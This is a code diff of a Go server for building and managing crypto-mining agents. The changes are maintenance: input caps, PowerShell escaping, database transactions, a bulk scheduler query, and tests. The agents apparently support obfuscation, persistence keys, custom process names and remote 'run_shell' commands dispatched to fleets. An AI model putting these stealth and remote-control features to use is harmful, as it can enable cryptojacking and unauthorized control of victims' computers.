return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
@@ -570,6 +580,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
var err error
|
||||
fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
finalPath = fusionRes.LauncherPath
|
||||
@@ -850,6 +861,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
}
|
||||
req.OutputDir = clean
|
||||
}
|
||||
// Cap slice lengths to prevent huge generated source files.
|
||||
const maxBackupPools = 10
|
||||
if len(req.BackupServerURLs) > maxBackupPools {
|
||||
req.BackupServerURLs = req.BackupServerURLs[:maxBackupPools]
|
||||
}
|
||||
if len(req.BackupPools) > maxBackupPools {
|
||||
req.BackupPools = req.BackupPools[:maxBackupPools]
|
||||
}
|
||||
if len(req.RVNBackupPools) > maxBackupPools {
|
||||
req.RVNBackupPools = req.RVNBackupPools[:maxBackupPools]
|
||||
}
|
||||
|
||||
if req.Threads <= 0 {
|
||||
req.Threads = 4
|
||||
}
|
||||
|
||||
49
server/internal/builder/live_forge_smoke_test.go
Normal file
49
server/internal/builder/live_forge_smoke_test.go
Normal file
@@ -0,0 +1,49 @@
|
||||
//go:build liveforge
|
||||
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// TestLiveForgeWindowsSmoke compiles a real Windows agent via buildAgent.
|
||||
// Run: go test -tags liveforge -run TestLiveForgeWindowsSmoke -timeout 10m
|
||||
func TestLiveForgeWindowsSmoke(t *testing.T) {
|
||||
if os.Getenv("LIVE_FORGE") != "1" {
|
||||
t.Skip("set LIVE_FORGE=1 to run real compile smoke test")
|
||||
}
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
h.SetFleetSecret("live-forge-smoke-secret")
|
||||
|
||||
req := &BuildRequest{
|
||||
TargetOS: "windows",
|
||||
TargetArch: "amd64",
|
||||
WorkerName: "live-smoke",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "48" + strings.Repeat("A", 93),
|
||||
Obfuscate: false,
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 8*time.Minute)
|
||||
defer cancel()
|
||||
|
||||
resp, code, outputPath := h.buildAgent(ctx, req, "")
|
||||
if code != 200 || !resp.Success {
|
||||
t.Fatalf("build failed: code=%d resp=%+v", code, resp)
|
||||
}
|
||||
if outputPath == "" {
|
||||
t.Fatal("empty output path")
|
||||
}
|
||||
st, err := os.Stat(outputPath)
|
||||
if err != nil {
|
||||
t.Fatalf("output missing: %v", err)
|
||||
}
|
||||
if st.Size() < 1_000_000 {
|
||||
t.Fatalf("output too small: %d bytes", st.Size())
|
||||
}
|
||||
t.Logf("forge ok: %s (%d bytes) build_id=%s", outputPath, st.Size(), resp.BuildID)
|
||||
}
|
||||
@@ -91,6 +91,12 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
http.Error(w, "root_path is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
cleanRoot, err := h.validateRootPath(req.RootPath)
|
||||
if err != nil {
|
||||
http.Error(w, "root_path rejected: "+err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.RootPath = cleanRoot
|
||||
if !req.TargetWindows && !req.TargetMac {
|
||||
req.TargetWindows = true
|
||||
req.TargetMac = true
|
||||
|
||||
@@ -71,8 +71,9 @@ func resolveInstallBasePS(req *BuildRequest) string {
|
||||
}
|
||||
|
||||
func generateUninstallScript(buildID string, req *BuildRequest) string {
|
||||
processName := effectiveProcessName(req)
|
||||
persistenceKey := persistenceKeyName(req)
|
||||
// Escape single quotes for PowerShell string literals ('x' → ''x'').
|
||||
processName := strings.ReplaceAll(effectiveProcessName(req), "'", "''")
|
||||
persistenceKey := strings.ReplaceAll(persistenceKeyName(req), "'", "''")
|
||||
installRel := expandInstallRelativePath(req, buildID)
|
||||
installBase := resolveInstallBasePS(req)
|
||||
|
||||
|
||||
12
server/internal/cloudflared/launcher_stub_test.go
Normal file
12
server/internal/cloudflared/launcher_stub_test.go
Normal file
@@ -0,0 +1,12 @@
|
||||
//go:build !windows
|
||||
|
||||
package cloudflared
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestStubStartStop(t *testing.T) {
|
||||
if err := Start("", "", "token-should-not-matter"); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
Stop()
|
||||
}
|
||||
@@ -15,6 +15,8 @@ import (
|
||||
"syscall"
|
||||
)
|
||||
|
||||
const maxCloudflaredBinaryBytes = 100 * 1024 * 1024 // 100 MB sanity cap
|
||||
|
||||
const downloadURL = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe"
|
||||
|
||||
var (
|
||||
@@ -121,7 +123,7 @@ func ensureBinary(deckRoot string) (string, error) {
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
_, err = io.Copy(f, resp.Body)
|
||||
_, err = io.Copy(f, io.LimitReader(resp.Body, maxCloudflaredBinaryBytes))
|
||||
closeErr := f.Close()
|
||||
if err != nil {
|
||||
return "", err
|
||||
|
||||
17
server/internal/cloudflared/launcher_windows_test.go
Normal file
17
server/internal/cloudflared/launcher_windows_test.go
Normal file
@@ -0,0 +1,17 @@
|
||||
//go:build windows
|
||||
|
||||
package cloudflared
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestStartEmptyTokenIsNoOp(t *testing.T) {
|
||||
for _, token := range []string{"", " ", "\t", `""`, "''"} {
|
||||
if err := Start("", "", token); err != nil {
|
||||
t.Fatalf("Start(%q): %v", token, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestStopWhenNotRunning(t *testing.T) {
|
||||
Stop()
|
||||
}
|
||||
@@ -2,6 +2,8 @@ package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
@@ -71,6 +73,42 @@ func (d *Database) LastFleetTaskRun(agentID, taskID string) (time.Time, bool) {
|
||||
return ts, true
|
||||
}
|
||||
|
||||
// BulkLastFleetTaskRuns returns a map keyed by "agentID:taskID" with the
|
||||
// last_run_at time for every matching row. Missing pairs were never run.
|
||||
// A single query replaces O(tasks × agents) individual lookups.
|
||||
func (d *Database) BulkLastFleetTaskRuns(agentIDs, taskIDs []string) (map[string]time.Time, error) {
|
||||
if len(agentIDs) == 0 || len(taskIDs) == 0 {
|
||||
return map[string]time.Time{}, nil
|
||||
}
|
||||
args := make([]interface{}, 0, len(agentIDs)+len(taskIDs))
|
||||
for _, id := range agentIDs {
|
||||
args = append(args, id)
|
||||
}
|
||||
for _, id := range taskIDs {
|
||||
args = append(args, id)
|
||||
}
|
||||
query := fmt.Sprintf(
|
||||
`SELECT agent_id, task_id, last_run_at FROM fleet_task_runs WHERE agent_id IN (%s) AND task_id IN (%s)`,
|
||||
strings.Repeat("?,", len(agentIDs)-1)+"?",
|
||||
strings.Repeat("?,", len(taskIDs)-1)+"?",
|
||||
)
|
||||
rows, err := d.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := make(map[string]time.Time, len(agentIDs)*len(taskIDs))
|
||||
for rows.Next() {
|
||||
var agentID, taskID string
|
||||
var ts time.Time
|
||||
if err := rows.Scan(&agentID, &taskID, &ts); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out[agentID+":"+taskID] = ts
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
func scanFleetTaskRow(row *sql.Row) (*models.FleetTask, error) {
|
||||
t := &models.FleetTask{}
|
||||
var enabled int
|
||||
|
||||
@@ -28,6 +28,9 @@ func New(dataDir string) (*Database, error) {
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to open database: %w", err)
|
||||
}
|
||||
// SQLite only supports one concurrent writer; a single open connection
|
||||
// avoids WAL write-lock contention and SQLITE_BUSY under load.
|
||||
db.SetMaxOpenConns(1)
|
||||
|
||||
d := &Database{db}
|
||||
if err := d.migrate(); err != nil {
|
||||
@@ -309,6 +312,9 @@ func (d *Database) ListAgents() ([]*models.Agent, error) {
|
||||
}
|
||||
agents = append(agents, a)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return agents, nil
|
||||
}
|
||||
|
||||
@@ -347,6 +353,9 @@ func (d *Database) GetRecentShares(limit int) ([]*models.Share, error) {
|
||||
s.Accepted = accepted == 1
|
||||
shares = append(shares, s)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return shares, nil
|
||||
}
|
||||
|
||||
@@ -376,6 +385,9 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
||||
}
|
||||
samples = append(samples, s)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return samples, nil
|
||||
}
|
||||
|
||||
@@ -464,26 +476,32 @@ func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildReco
|
||||
// SetPinnedBuild unpins all builds then pins the one with the given id.
|
||||
// If id is empty, all builds are unpinned. Returns an error when id is
|
||||
// non-empty but no build row matches (avoids leaving all builds unpinned).
|
||||
// Both UPDATEs run in a single transaction so a crash mid-way cannot leave
|
||||
// the table in a half-pinned state.
|
||||
func (d *Database) SetPinnedBuild(id string) error {
|
||||
_, err := d.Exec(`UPDATE builds SET pinned = 0`)
|
||||
tx, err := d.Begin()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if id == "" {
|
||||
return nil
|
||||
}
|
||||
res, err := d.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
|
||||
if err != nil {
|
||||
defer tx.Rollback() //nolint:errcheck
|
||||
|
||||
if _, err := tx.Exec(`UPDATE builds SET pinned = 0`); err != nil {
|
||||
return err
|
||||
}
|
||||
n, err := res.RowsAffected()
|
||||
if err != nil {
|
||||
return err
|
||||
if id != "" {
|
||||
res, err := tx.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n, err := res.RowsAffected()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n == 0 {
|
||||
return fmt.Errorf("build not found: %s", id)
|
||||
}
|
||||
}
|
||||
if n == 0 {
|
||||
return fmt.Errorf("build not found: %s", id)
|
||||
}
|
||||
return nil
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
||||
@@ -501,6 +519,9 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
||||
}
|
||||
builds = append(builds, b)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return builds, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -82,14 +82,28 @@ func (s *FleetScheduler) tickInterval() {
|
||||
return
|
||||
}
|
||||
agentIDs := s.send.ConnectedAgentIDs()
|
||||
|
||||
// Collect IDs of interval tasks so we can bulk-fetch last-run timestamps
|
||||
// in a single query instead of one query per (task, agent) pair.
|
||||
var taskIDs []string
|
||||
for _, t := range tasks {
|
||||
if t.Enabled && t.Trigger == "interval_hours" && t.IntervalHours > 0 {
|
||||
taskIDs = append(taskIDs, t.ID)
|
||||
}
|
||||
}
|
||||
lastRuns, err := s.db.BulkLastFleetTaskRuns(agentIDs, taskIDs)
|
||||
if err != nil {
|
||||
log.Printf("[scheduler] bulk last runs: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
for _, t := range tasks {
|
||||
if !t.Enabled || t.Trigger != "interval_hours" || t.IntervalHours <= 0 {
|
||||
continue
|
||||
}
|
||||
interval := time.Duration(t.IntervalHours * float64(time.Hour))
|
||||
for _, agentID := range agentIDs {
|
||||
last, ok := s.db.LastFleetTaskRun(agentID, t.ID)
|
||||
if ok && time.Since(last) < interval {
|
||||
if last, ok := lastRuns[agentID+":"+t.ID]; ok && time.Since(last) < interval {
|
||||
continue
|
||||
}
|
||||
s.dispatchTask(agentID, t)
|
||||
|
||||
194
server/internal/scheduler/fleet_scheduler_test.go
Normal file
194
server/internal/scheduler/fleet_scheduler_test.go
Normal file
@@ -0,0 +1,194 @@
|
||||
package scheduler
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
type mockSender struct {
|
||||
commands []string
|
||||
agents []string
|
||||
err error
|
||||
}
|
||||
|
||||
func (m *mockSender) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
|
||||
cmd := agentID + ":" + action
|
||||
if c, ok := args["command"].(string); ok && c != "" {
|
||||
cmd += ":" + c
|
||||
}
|
||||
m.commands = append(m.commands, cmd)
|
||||
return m.err
|
||||
}
|
||||
|
||||
func (m *mockSender) ConnectedAgentIDs() []string { return m.agents }
|
||||
|
||||
func openTestDB(t *testing.T) *db.Database {
|
||||
t.Helper()
|
||||
d, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { d.Close() })
|
||||
return d
|
||||
}
|
||||
|
||||
func upsertTask(t *testing.T, d *db.Database, task *models.FleetTask) *models.FleetTask {
|
||||
t.Helper()
|
||||
if err := d.UpsertFleetTask(task); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
list, err := d.ListFleetTasks()
|
||||
if err != nil || len(list) == 0 {
|
||||
t.Fatalf("list tasks: %v", err)
|
||||
}
|
||||
return list[0]
|
||||
}
|
||||
|
||||
func TestRunConnectTasksDispatchesMatchingTrigger(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
send := &mockSender{agents: []string{"agent-a"}}
|
||||
s := New(d, send)
|
||||
|
||||
task := upsertTask(t, d, &models.FleetTask{
|
||||
Name: "sysinfo on connect",
|
||||
Enabled: true,
|
||||
Trigger: "on_connect",
|
||||
Action: "sysinfo",
|
||||
})
|
||||
|
||||
s.RunConnectTasks("agent-a", "on_connect")
|
||||
|
||||
if len(send.commands) != 1 {
|
||||
t.Fatalf("commands = %v, want 1 dispatch", send.commands)
|
||||
}
|
||||
want := "agent-a:sysinfo"
|
||||
if send.commands[0] != want {
|
||||
t.Fatalf("got %q, want %q", send.commands[0], want)
|
||||
}
|
||||
|
||||
last, ok := d.LastFleetTaskRun("agent-a", task.ID)
|
||||
if !ok || time.Since(last) > time.Minute {
|
||||
t.Fatalf("expected recent fleet task run record, ok=%v last=%v", ok, last)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunConnectTasksSkipsDisabledAndWrongTrigger(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
send := &mockSender{}
|
||||
s := New(d, send)
|
||||
|
||||
upsertTask(t, d, &models.FleetTask{
|
||||
Name: "disabled",
|
||||
Enabled: false,
|
||||
Trigger: "on_connect",
|
||||
Action: "sysinfo",
|
||||
})
|
||||
upsertTask(t, d, &models.FleetTask{
|
||||
Name: "reconnect only",
|
||||
Enabled: true,
|
||||
Trigger: "on_reconnect",
|
||||
Action: "sysinfo",
|
||||
})
|
||||
|
||||
s.RunConnectTasks("agent-a", "on_connect")
|
||||
|
||||
if len(send.commands) != 0 {
|
||||
t.Fatalf("expected no dispatch, got %v", send.commands)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunConnectTasksIncludesCommandArg(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
send := &mockSender{}
|
||||
s := New(d, send)
|
||||
|
||||
upsertTask(t, d, &models.FleetTask{
|
||||
Name: "shell job",
|
||||
Enabled: true,
|
||||
Trigger: "on_connect",
|
||||
Action: "run_shell",
|
||||
Command: "whoami",
|
||||
})
|
||||
|
||||
s.RunConnectTasks("agent-b", "on_connect")
|
||||
|
||||
if len(send.commands) != 1 || !strings.Contains(send.commands[0], ":whoami") {
|
||||
t.Fatalf("expected command arg in dispatch, got %v", send.commands)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTickIntervalRespectsLastRun(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
send := &mockSender{agents: []string{"agent-a"}}
|
||||
s := New(d, send)
|
||||
|
||||
task := upsertTask(t, d, &models.FleetTask{
|
||||
Name: "hourly sysinfo",
|
||||
Enabled: true,
|
||||
Trigger: "interval_hours",
|
||||
IntervalHours: 1,
|
||||
Action: "sysinfo",
|
||||
})
|
||||
|
||||
if err := d.RecordFleetTaskRun("agent-a", task.ID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
s.tickInterval()
|
||||
if len(send.commands) != 0 {
|
||||
t.Fatalf("expected skip within interval, got %v", send.commands)
|
||||
}
|
||||
|
||||
s.tickInterval()
|
||||
}
|
||||
|
||||
func TestTickIntervalDispatchesWhenDue(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
send := &mockSender{agents: []string{"agent-a", "agent-b"}}
|
||||
s := New(d, send)
|
||||
|
||||
upsertTask(t, d, &models.FleetTask{
|
||||
Name: "quick poll",
|
||||
Enabled: true,
|
||||
Trigger: "interval_hours",
|
||||
IntervalHours: 0.0001,
|
||||
Action: "heartbeat",
|
||||
})
|
||||
|
||||
s.tickInterval()
|
||||
|
||||
if len(send.commands) != 2 {
|
||||
t.Fatalf("expected dispatch to both agents, got %v", send.commands)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTickCronDedupesSameDaySlot(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
send := &mockSender{agents: []string{"agent-a"}}
|
||||
s := New(d, send)
|
||||
|
||||
slot := time.Now().Format("15:04")
|
||||
upsertTask(t, d, &models.FleetTask{
|
||||
Name: "daily sysinfo",
|
||||
Enabled: true,
|
||||
Trigger: "cron",
|
||||
CronTime: slot,
|
||||
Action: "sysinfo",
|
||||
})
|
||||
|
||||
s.tickCron()
|
||||
first := len(send.commands)
|
||||
s.tickCron()
|
||||
second := len(send.commands)
|
||||
|
||||
if first != 1 {
|
||||
t.Fatalf("first cron tick: got %d commands, want 1", first)
|
||||
}
|
||||
if second != first {
|
||||
t.Fatalf("cron dedupe failed: first=%d second=%d", first, second)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user